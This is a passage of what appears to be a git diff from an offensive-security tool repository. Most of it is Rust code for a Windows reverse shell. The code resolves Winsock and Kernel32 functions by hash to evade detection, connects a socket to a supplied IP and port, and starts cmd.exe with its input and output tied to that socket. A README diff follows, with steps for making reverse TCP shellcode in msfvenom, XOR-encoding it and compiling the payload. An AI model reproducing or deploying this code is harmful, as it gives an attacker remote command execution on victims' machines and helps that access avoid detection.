mem::transmute::<*const (), fn(i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32) -> SOCKET>
|
||||
(function)(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0)
|
||||
};
|
||||
|
||||
// See line 30
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap();
|
||||
let mut sockaddr_in: SOCKADDR_IN = unsafe { mem::zeroed() };
|
||||
sockaddr_in.sin_family = AF_INET.0 as u16;
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
let mut ip_pstr: PCSTR = unsafe { mem::zeroed() };
|
||||
ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8;
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(i32, PCSTR, *mut c_void) -> i32>
|
||||
(function)(AF_INET.0 as i32, ip_pstr, sin_addr_ptr)
|
||||
};
|
||||
|
||||
// See line 46
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap();
|
||||
sockaddr_in.sin_port = unsafe {
|
||||
mem::transmute::<*const (), fn(u16) -> u16>
|
||||
(function)(port)
|
||||
};
|
||||
|
||||
// See line 51
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(SOCKET, *const SOCKADDR, i32) -> i32>
|
||||
(function)(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::<SOCKADDR_IN>().try_into().unwrap())
|
||||
};
|
||||
|
||||
// See line 59
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap();
|
||||
let lp_buffer: &mut [u8] = &mut [0; 50];
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(&mut [u8])>
|
||||
(function)(lp_buffer)
|
||||
};
|
||||
let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) };
|
||||
let system_dir = system_dir.to_str().unwrap();
|
||||
|
||||
// See line 67
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let mut startup_info: STARTUPINFOA = unsafe { mem::zeroed() };
|
||||
startup_info.cb = mem::size_of::<STARTUPINFOA>() as u32;
|
||||
startup_info.dwFlags = STARTF_USESTDHANDLES;
|
||||
let sock_handle = &socket as *const SOCKET as *const HANDLE;
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
startup_info.hStdOutput = unsafe { *sock_handle };
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new(format!("{system_dir}\\cmd.exe")).unwrap().into_raw() as *mut u8;
|
||||
let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
|
||||
let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
|
||||
let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() };
|
||||
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
|
||||
(function)(lp_application_name,
|
||||
lp_command_line,
|
||||
&lp_process_attributes,
|
||||
&lp_thread_attributes,
|
||||
true,
|
||||
dw_creation_flags,
|
||||
ptr::null(),
|
||||
lp_current_directory,
|
||||
&startup_info,
|
||||
&mut process_information)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -7,15 +7,15 @@
|
||||
|
||||
## How it works
|
||||
|
||||
XOR shellcode performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be).
|
||||
XOR params performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be).
|
||||
|
||||
|
||||
## Using it
|
||||
|
||||
1. Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system)
|
||||
2. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1
|
||||
1. [Not shown in GIF] Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system)
|
||||
2. [Not shown in GIF] Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1
|
||||
3. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the key to a desired key
|
||||
4. Compile the executable
|
||||
4. [Not shown in GIF] Compile the executable
|
||||
|
||||
#### For Linux
|
||||
```commandline
|
||||
|
||||
Reference in New Issue
Block a user